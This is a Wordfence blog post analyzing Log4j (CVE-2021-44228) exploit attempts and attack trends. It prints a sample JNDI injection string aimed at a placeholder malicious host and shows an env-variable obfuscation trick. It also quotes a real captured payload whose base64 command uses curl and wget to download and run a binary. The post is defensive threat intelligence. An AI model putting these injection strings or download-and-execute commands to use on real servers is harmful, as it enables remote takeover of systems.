The Log4j vulnerability, initially reported in November 2021, has affected millions of devices and applications around the world. It has the potential to allow a malicious actor to take full control of vulnerable devices. As a result of how Log4j controls the logging of strings and code, the vulnerability allows malicious actors to inject malicious code into logs, and trick applications into running that malicious code. When exploited, Log4j inflicts profound damage to affected systems and networks, and provides an attacker with full take-over of an affected system. This, combined with the ease with which the vulnerability can be exploited, resulted in the associated Log4j CVE-2021-44228 receiving the unusually high CVSS score of 10, which is the maximum threat score that can be given.
Log4j is a top logging utility that is a part of the Apache Logging services. The utility is Java-based, and was initially released in 2001. Log4j builds a log of application or system activities, helping developers to identify any issues that may negatively impact the end-user experience. While Log4j may not have been a well-known name prior to December of 2021, it quickly became a highly discussed topic after the zero-day vulnerability, tracked as CVE-2021-44228, was reported to Apache in November, and patched on December 6, 2021. Five days prior to the release of the patch, malicious actors began exploiting the vulnerability.
Wordfence is installed on over 4 million websites worldwide, which gives us unparalleled visibility into attacker payloads as well as large-scale attack patterns. We use this data to power the Wordfence IP blocklist that is available to our Wordfence Premium, Wordfence Care and Wordfence Response customers. It also provides us with valuable forensic data that our incident response team can use when performing forensic analysis for our Wordfence Care and Wordfence Response customers.
At Wordfence we monitor and block attacks targeting Log4j because the threat intelligence this provides helps us identify threat actors that are targeting not only our customers but their hosting providers and enterprise systems around the world. The threat intelligence we get from monitoring these attacks is a valuable source of data for our enterprise customers when determining who they should be blocking at their network edge, which C2 communication they should be monitoring, and which servers globally are being used as an attack platform and need to be remediated.
Anatomy of a Log4j Vulnerability Attack
All it really takes to pull off this attack is entering a string like {jndi:ldap://malicious-site.com:1792/payload} into a form field, such as the username field on a login page, or injecting it into a request sent to a vulnerable server. With the proper payload, this can open a reverse shell that gives the malicious actor the ability to complete commands and run code on the impacted server.
When the server receives the request, the malicious string is written to the log, and the vulnerability allows this to be run as code. In one example of a simple exploit attempt we detected, the payload is referencing the location cakgeqplp7krte800010wgfiJxzyhzpss.oast[.]fun/info. This type of payload is often used for the purpose of opening a reverse shell, although any number of malicious activities can be enacted with this method.
In this case, the user agent identifies the request as coming from a Google Chrome Browser on Windows XP. Spoofing User-Agents is a tactic often used by both malicious actors and security researchers alike, so this can be a clue but should be taken with a grain of salt.
We often see more complex versions of this exploit as well. Payloads are often hidden using base64 encoding in the request at several points. This is a common method used by malicious actors to bypass security measures and make their code unreadable to analysts or security protection mechanisms. The jndi:ldap: portion of the payload can also be hidden in dummy functions. Multiple obfuscation techniques are used to avoid detection in these attacks to make it harder for analysts to read the code or avoid automatic detection. Here we see that the ${jndi:ldap: portion of the string is split to possibly prevent automatic detection due to breaking the string up within the code.
The referrer, user-agent, and x-api-version sections of this request include the full payload, including ${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:} which becomes jndi:ldap: in the request.
Malicious actors do not know which fields will be logged on a system, so they frequently submit the exploit in multiple places to see what works. In the request above, we see the Referrer, User-Agent, and X-API-Version with the same malicious string. The final payload here is accessed from //146.190.40.2:1389/TomcatBypass/Command/Base64/Y3VybCBodHRwOi8vMTg1LjEwMS4xMzkuMjE2OjE5NjQvYTAwMS54ODYgLW8gYTAwMS54ODY7IHdnZXQgaHR0cDovLzE4NS4xMDEuMTM5LjIxNjoxOTY0L2EwMDEueDg2OyBjaG1vZCA3NzcgYTAwMS54ODY7IC4vYTAwMS54ODY7IHJtIC1yZiBhMDAxLng4Njsgcm0gLXJmIGEwMDEueDg2LjE= which decodes the intended command and runs it on the affected server.
This uses both curl and wget to download the payload, sets the maximum allowed permissions on the file, runs the downloaded file, then removes both copies of the downloaded file once it has been run. The use of multiple download methods increases the possibility of a successful download.
Final payloads do appear to be taken down quickly. We tried to obtain a final payload from several locations, and were unable to successfully connect to the payload location. This goes to show both the dedication of the cybersecurity community in combating potential attacks, as well as how fast malicious actors move on and set up new resources as needed.
Log4j Exploit Attempt Volume Over Time
Wordfence has observed some interesting trends since we began tracking and blocking Log4j vulnerability exploit attempts several months ago. The number of exploit attempts have been relatively consistent from the start of our tracking, attempts are coming from unexpected places, and some regions appear to be bigger targets. With that said, our data indicates that malicious actors are not moving on from this vulnerability.
Where Are the Attempted Attacks Coming From?
Reviewing the data from the top 100 locations we are seeing exploit attempts originating from in the past 30 days shows that only a few IP addresses are responsible for very large numbers of exploit attempts. There were 11,060,156 blocked attempts in this time frame, and a total of 38,258 IP addresses logged as originators of exploit attempts.
The server locations for the top 15 IP addresses detected include countries like the United States, Switzerland, United Kingdom, France, and Belgium. In addition to these, many of the other countries may have legitimate reasons for accessing your services as well, making regional blocks more difficult for many organizations.
The attack attempts largely originate from IP addresses owned by legitimate providers. This is something common we see during attack campaigns as attackers typically try to find the cheapest or most reliable way to deliver their attacks. It is unlikely you would want to block access from all IP addresses assigned to Amazon or Microsoft and it is not recommended to do so. Fortunately, with that said, most of these providers will quickly remove access for users who are found to be performing malicious activities.
Malicious actors will often use one IP or service for a short time, then quickly move to a new IP address, server, or service provider. This could either be to avoid detection, or to recover once they have been detected. For this reason, we have a blocklist that is regularly updated with known malicious IP addresses. When an IP address is no longer being used for malicious purposes, we remove the address from the list so that legitimate websites and services are not blocked. This allows malicious actors to be blocked, while legitimate site users and services can be allowed the needed access to your website.
Many organizations are taking this vulnerability seriously, and having their servers checked for the vulnerability. We saw a total of 1,296,940 benign vulnerability scanning attempts from security vendors. These scanning attempts have been excluded from the data above.
Conclusion
In this post, we covered the critical Log4j vulnerability tracked as CVE-2021-44228 and the visibility Wordfence has as an endpoint security provider. Wordfence uses this data to ensure that our users are protected from emerging and lingering threats ranging from vulnerabilities to malware. This same data can also be used to provide additional protection against attacks against your networks and other systems.
Threat intelligence is an important part of keeping your systems, applications, and networks safe. A view of the trends and details of attack campaigns can show you what threats are likely to affect your organization, giving you the opportunity to mitigate attacks.
If you believe your site has been compromised as a result of this vulnerability or any other vulnerability, we offer Incident Response services via Wordfence Care. If you need your site cleaned immediately, Wordfence Response offers the same service with 24/7/365 availability and a 1-hour response time. Both of these products include hands-on support in case you need further assistance.
The post Analyzing Attack Data and Trends Targeting Log4j appeared first on Wordfence.
